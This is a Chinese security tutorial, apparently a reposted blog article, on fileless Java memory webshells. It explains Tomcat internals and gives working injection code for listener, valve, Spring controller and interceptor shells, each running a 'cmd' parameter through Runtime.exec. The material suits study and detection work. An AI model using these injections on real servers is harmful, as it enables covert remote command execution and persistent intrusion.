Java安全-深度剖析内存马&上篇

admin 2024年10月16日18:28:20评论10 views字数 16906阅读56分21秒阅读模式

🌟 ❤️

作者:yueji0j1anke

首发于公号:剑客古月的安全屋

字数:5721

阅读时间:    15min

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外

目录

  • 前言

  • 技术调研

        JSP

        Tomcat

  • 内存马     

       Tomcat型内存马

       Spring型内存马

  • 总结

0x01 前言介绍

近年来,安全设备逐渐发展演化,IPS、IDS、EDR等设备的出现无不彰显着蓝方安全水平的提高,而与之对应,webshell这种攻击手段越来越复杂化,从最初的一句话木马到加密木马、再到流量加密管理工具。但由于这些木马文件都是直接明面摆放在磁盘上,很容易被动态监测到

因此近几年兴起了全新的手段: 内存马,一种无文件落地的webshell

0x02 技术调研

在展开讲内存马之前,我们先来学习一下前置知识。

1.JSP

什么是jsp呢。简单来说,jsp是java的一种动态网页技术,在java没有框架早期开发中,通过由html+xml+jsp编写的jsp与用户进行交互、访问数据库、动态展现网页。(可以把jsp当做一个java servlet)

搭建jsp开发环境教程如下

https://blog.csdn.net/m0_74154295/article/details/133076620?ops_request_misc=&request_id=&biz_id=102&utm_term=idea%E7%BC%96%E5%86%99jsp&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-133076620.142^v100^pc_search_result_base9&spm=1018.2226.3001.4187

Java安全-深度剖析内存马&上篇

Java安全-深度剖析内存马&上篇

如上图所示,这便是一个最简单的jsp页面

而对于jsp本身来说,开发者肯定会赋予其完成更复杂功能的任务,这就涉及到了jsp的内置对象。

Java安全-深度剖析内存马&上篇

2.Tomcat

1.基本组件

首先介绍一下tomcat容器,有四类容器组件,从上而下为

Engine: 最顶层组件,包含多个host
Host: 等同一个虚拟主机,包含多个context
Context: 等同一个web应用,包含多个Wrapper
Wrapper: 等同一个servlet

在整个请求响应中,客户端首先与tomcat服务器建立socket连接,随后发送请求,对应的HttpServletRequest对象经过容器处理识别传递给对应的容器组件,随后层层传递至servlet层,servlet层生成其要访问的servlet实例对象,并在service层对HttpServletRequest对象进行处理。

2.context

而在学习内存马时,有三个重要的context,这里做以下说明

ServletContext:
用来保存一个web应用中所有的servlet上下文信息,可以通过其对web应用资源进行访问

ApplicationContext:
ServletContext的具体实现就是ApplicationContext,实现了其具体的一些方法

StandardContext:
Context的标准实现类,ApplicationContext的方法实际也是调用其的方法

3.管道机制

除此之外,我们还需要了解一下tomcat的管道机制。

我们之前谈到,tomcat服务器与客户端建立socket连接之后会将HttpServletRequest对象识别后传递给对应组件,随后层层传递到Servlet层生成对应接受的实例化Servlet对象,并将request对象作为参数传递给Servlet对象的service层进行相关逻辑处理。

那我们的请求对象是如何在四层组件之间层层传递的呢?这就涉及到了我们的管道机制,这其中又会涉及到两个名词

valve(阀门)和pipeline(管道)

在我的理解中,valve是tomcat中类似于过滤器的机制,用于拦截和处理请求,相当于是一种请求预处理,并在四大组件中都有对应了valve类

而pipeline则是将多个valve串联在一起的请求处理机制,相当于组织装载多个valve的容器,当请求来临时,会依次调用valve对HttpServletRequest进行处理,最后传递给Servlet层。

0x03 内存马

这里大概会剖析tomcat和spring内存马,并顺带实操一下agent内存马

java内存马按照实现大概分为两类

1.servlet-api型: 通过命令执行恶意创建一个新的filter、servlet、listener,进而完成命令执行,在spring框架下就是controller和Intercepter
2.字节码增强型: 通过java的Instrument机制动态修改已有代码,完成命令执行。具体注入的则是agent,修改字节码。

下面先讲讲tomcat内存马

1.Tomcat内存马

tomcat内存马目前主流分为三种, listener型、filter型和servlet型(都是核心组件)

请求网站时,程序先执行listener监听器的内容: listener->filter->servlet

而listener分为以下几种

servletContext  服务器启动和终止时触发
session         有关session操作时触发
request         访问服务时触发

而这三种中,request型的listener显然是最容易触发的,只需要访问资源即可完成触发

1.listener型内存马

下面为恶意listener代码

package com.ofsoft.cms.admin.controller;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebListener
public class listener222 implements ServletRequestListener{
   @Override
   public void requestDestroyed(ServletRequestEvent sre) {

  }

   @Override
   public void requestInitialized(ServletRequestEvent sre) {
       HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
       System.out.println("gggg");
       String cmd = request.getParameter("cmd");
       System.out.println(cmd);
       if (cmd != null) {
           try {
               Runtime.getRuntime().exec(cmd);
          } catch (IOException e) {
               e.printStackTrace();
          } catch (NullPointerException n) {
               n.printStackTrace();
          }
      }
  }

}

Java安全-深度剖析内存马&上篇

Java安全-深度剖析内存马&上篇

那如何在jsp中构建呢

打个断点追踪一下调用栈

Java安全-深度剖析内存马&上篇

阅读StandardContext#fireRequestInitEvent部分

public boolean fireRequestInitEvent(ServletRequest request) {

   Object instances[] = getApplicationEventListeners();

   if ((instances != null) && (instances.length > 0)) {

       ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);

       for (Object instance : instances) {
           if (instance == null) {
               continue;
          }
           if (!(instance instanceof ServletRequestListener)) {
               continue;
          }
           ServletRequestListener listener = (ServletRequestListener) instance;

           try {
               listener.requestInitialized(event);
          } catch (Throwable t) {
               ExceptionUtils.handleThrowable(t);
               getLogger().error(
                       sm.getString("standardContext.requestListener.requestInit", instance.getClass().getName()),
                       t);
               request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
               return false;
          }
      }
  }
   return true;
}

大致逻辑是getApplicationEventListeners()返回了一个Listener实例数组,在for循环内遍历调用。跟进一下,看看是怎么获取实例数组的。

Java安全-深度剖析内存马&上篇

applicationEventListenersListStandardContext的一个私有成员变量,我们可以通过StandardContext的方法来添加listener

Java安全-深度剖析内存马&上篇

随后触发的方式便是通过request请求实例化了StandardContext

那大致流程就是

1. 获取StandardContext
2. listener实现
3.`fireRequestInitEvent`部分通过add方法进行添加listener监听器

构造完成poc

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
   public class Shell_Listener implements ServletRequestListener {

       public void requestInitialized(ServletRequestEvent sre) {
           HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
          String cmd = request.getParameter("cmd");
          if (cmd != null) {
              try {
                  Runtime.getRuntime().exec(cmd);
              } catch (IOException e) {
                  e.printStackTrace();
              } catch (NullPointerException n) {
                  n.printStackTrace();
              }
          }
      }

       public void requestDestroyed(ServletRequestEvent sre) {
      }
  }
%>
<%
   Field reqF = request.getClass().getDeclaredField("request");
   reqF.setAccessible(true);
   Request req = (Request) reqF.get(request);
   StandardContext context = (StandardContext) req.getContext();

   Shell_Listener shell_Listener = new Shell_Listener();
   context.addApplicationEventListener(shell_Listener);
%>

Java安全-深度剖析内存马&上篇

而filter型、servlet型内存马实现过程与其类似,这里就不再过多赘述,详情可见这篇文章

https://mp.weixin.qq.com/s/K_rmWdxI8uJVGsytlmL76g

而下面将会讲讲tomcat另一种内存马

2.valve型内存马

valve内存马同listener、filter、Servlet内存马一样,动态被创建一个新的valve去实现命令执行功能

大致思路如下

1.获取StandardContext对象
2.通过第一步获取StandardPipeline
3.编写恶意Valve
4.通过StandardPipeline动态添加Valve

poc如下

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
   Field reqF = request.getClass().getDeclaredField("request");
   reqF.setAccessible(true);
   Request req = (Request) reqF.get(request);
   StandardContext standardContext = (StandardContext) req.getContext();

   Pipeline pipeline = standardContext.getPipeline();
%>

<%!
   class Shell_Valve extends ValveBase {

       @Override
       public void invoke(Request request, Response response) throws IOException, ServletException {
           String cmd = request.getParameter("cmd");
           if (cmd !=null){
               try{
                   Runtime.getRuntime().exec(cmd);
              }catch (IOException e){
                   e.printStackTrace();
              }catch (NullPointerException n){
                   n.printStackTrace();
              }
          }
      }
  }
%>

<%
   Shell_Valve shell_valve = new Shell_Valve();
   pipeline.addValve(shell_valve);
%>

Java安全-深度剖析内存马&上篇

2.Spring型内存马

随着Spring全家桶的盛行,现在网上越来越多spring框架开发的web应用,而spring本身也多自带tomcat容器,所以相关Sprring型内存马的内容实则是Tomcat内存马的演变,只不过相关的逻辑调用做了对应的名称改变

这里讲解一下环境配置

pom文件如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <parent>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-parent</artifactId>
      <version>2.7.15</version>
      <relativePath/> <!-- lookup parent from repository -->
  </parent>
  <groupId>com.demo.example</groupId>
  <artifactId>example</artifactId>
  <version>0.0.1-SNAPSHOT</version>
  <name>example</name>
  <description>Demo project for Spring Boot</description>
  <url/>
  <licenses>
      <license/>
  </licenses>
  <developers>
      <developer/>
  </developers>
  <scm>
      <connection/>
      <developerConnection/>
      <tag/>
      <url/>
  </scm>
  <properties>
      <java.version>1.8</java.version>
      <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
      <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
      <spring-boot.version>2.6.13</spring-boot.version>
  </properties>
  <dependencies>
      <dependency>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-web</artifactId>
      </dependency>

      <dependency>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-test</artifactId>
          <scope>test</scope>
      </dependency>
      <dependency>
          <groupId>junit</groupId>
          <artifactId>junit</artifactId>
          <scope>test</scope>
      </dependency>
      <dependency>
          <groupId>org.springframework</groupId>
          <artifactId>spring-webmvc</artifactId>
      </dependency>
      <dependency>
          <groupId>org.springframework</groupId>
          <artifactId>spring-web</artifactId>
      </dependency>
      <dependency>
          <groupId>javax.servlet</groupId>
          <artifactId>jstl</artifactId>
          <version>1.2</version>
      </dependency>
      <dependency>
          <groupId>taglibs</groupId>
          <artifactId>standard</artifactId>
          <version>1.1.2</version>
      </dependency>
  </dependencies>


  <build>
      <plugins>
          <plugin>
              <groupId>org.apache.maven.plugins</groupId>
              <artifactId>maven-compiler-plugin</artifactId>
              <version>3.8.1</version>
              <configuration>
                  <source>1.8</source>
                  <target>1.8</target>
                  <encoding>UTF-8</encoding>
              </configuration>
          </plugin>
          <plugin>
              <groupId>org.springframework.boot</groupId>
              <artifactId>spring-boot-maven-plugin</artifactId>
              <version>2.7.15</version>
              <configuration>
                  <mainClass>com.example.spring.SpringDemoApplication</mainClass>
                  <skip>true</skip>
              </configuration>

          </plugin>
      </plugins>
  </build>

</project>

创建web 结构

web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0">
  <!-- 配置SpringMVC的前端控制器,对请求统一进行处理 -->
  <servlet>
      <servlet-name>springmvc</servlet-name>
      <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
      <init-param>
          <param-name>contextConfigLocation</param-name>
          <param-value>WEB-INF/springmvc.xml</param-value>
      </init-param>
      <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
      <servlet-name>springmvc</servlet-name>
      <url-pattern>/</url-pattern>
  </servlet-mapping>
</web-app>

springmvc.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
      xmlns:context="http://www.springframework.org/schema/context"
      xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">

  <context:component-scan base-package="com.demo.example"/>

  <!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller -->
  <mvc:annotation-driven />

  <!-- 视图解析 -->
  <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
      <property name="prefix" value="/WEB-INF/views/"/>
      <property name="suffix" value=".jsp"/>
  </bean>

</beans>

随后配置tomcat服务器

Java安全-深度剖析内存马&上篇

1.Controller型内存马

和tomcat内存马类似,我们需要了解如何动态的注册一个controller类型内存马,大致思路类似,如下所示

1.获取context环境
2.动态注册controller
3.将其动态添加到路由

在这之前,先介绍一下IOC容器

一个web应用如果引用或拥有大量的组件(类),会导致系统复杂,互相引用,非常大程度提高了项目的耦合度,为测试和维护带来困难。因此引入了IOC(依赖注入)

你若想把某个对象交给IOC容器来管理,即在上面添加相关注释即可。比如下列代码,就是将DemoController这个类交给controller组件进行控制,这个类自然也才成了controller的子类

@Controller
public class DemoController {
   @ResponseBody
   @RequestMapping("hello")
   public String hello() {
       System.out.println("hello");
       return "hello";
  }
}

而在spring框架中,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

如何获取上下文环境的context呢,这里也有个类似于tomcat的requestcontext类,叫做RequestContextUtils

那么首先就需要了解一下controller对应的调用栈

Java安全-深度剖析内存马&上篇

在dodispatch处分配处理请求

Java安全-深度剖析内存马&上篇

并且此处通过mappedHandler.getHandler()获取了mappedHandler的handler

追入

Java安全-深度剖析内存马&上篇

持续追入

Java安全-深度剖析内存马&上篇

这里通过mapper路由继续去处理request对象

Java安全-深度剖析内存马&上篇

随后将请求传递给requestMappingHandler接口,找到对应的controller层并生成实例对象对请求进行处理

那大致逻辑已经理清

可以先获取一个webapplicationcontext上下文,注册一个控制器后,通过该注册器动态注册一个新的控制器去调用实现系统命令

poc如下

package com.demo.example.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;

@Controller
public class ShellController {
   @RequestMapping("/control")
   public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {

       //获取当前上下文环境
       WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

       //手动注册Controller
       // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
       RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
       // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
       Method method = Controller_Shell.class.getDeclaredMethod("shell");
       // 3. 定义访问 controller 的 URL 地址
       PatternsRequestCondition url = new PatternsRequestCondition("/shell");
       // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
       RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
       // 5. 在内存中动态注册 controller
       RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
       r.registerMapping(info, new Controller_Shell(), method);



  }


   public class Controller_Shell {

       public Controller_Shell() {
      }

       public void shell() throws IOException {

           //获取request
           HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
           Runtime.getRuntime().exec(request.getParameter("cmd"));
      }
  }

}

复现如下

首先访问controller网页

会显示404,因为没有对应return

Java安全-深度剖析内存马&上篇

随后访问路由

Java安全-深度剖析内存马&上篇

2.Interceptor型内存马

类似于tomcat中的filter组件,用于拦截用户请求并做相关处理

这里实现一个简单的路由

Java安全-深度剖析内存马&上篇

对应的拦截器

Java安全-深度剖析内存马&上篇

效果如下

Java安全-深度剖析内存马&上篇

实现思路类似

获取context上下环境
实现Interceptor
动态注册Interceptor并将其添加到容器,实现路由

同理,构造poc如下

package com.shell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class Inject_Shell_Interceptor_Controller {

   @ResponseBody
   @RequestMapping("/inject")
   public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

       //获取上下文环境
       WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

       //获取adaptedInterceptors属性值
       org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
       java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
       field.setAccessible(true);
       java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);


       //将恶意Interceptor添加入adaptedInterceptors
       Shell_Interceptor shell_interceptor = new Shell_Interceptor();
       adaptedInterceptors.add(shell_interceptor);
  }

   public class Shell_Interceptor implements HandlerInterceptor{
       @Override
       public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
              } catch (IOException e) {
                   e.printStackTrace();
              } catch (NullPointerException n) {
                   n.printStackTrace();
              }
               return true;
          }
           return false;
      }
  }
}

Java安全-深度剖析内存马&上篇

0x04 总结

内存马的机制今日讲了Servlet-api类,后期将带来Java Agent内存马的剖析

原文始发于微信公众号(剑客古月的安全屋):Java安全-深度剖析内存马&上篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日18:28:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全-深度剖析内存马&上篇https://cn-sec.com/archives/3271861.html

发表评论

匿名网友 填写信息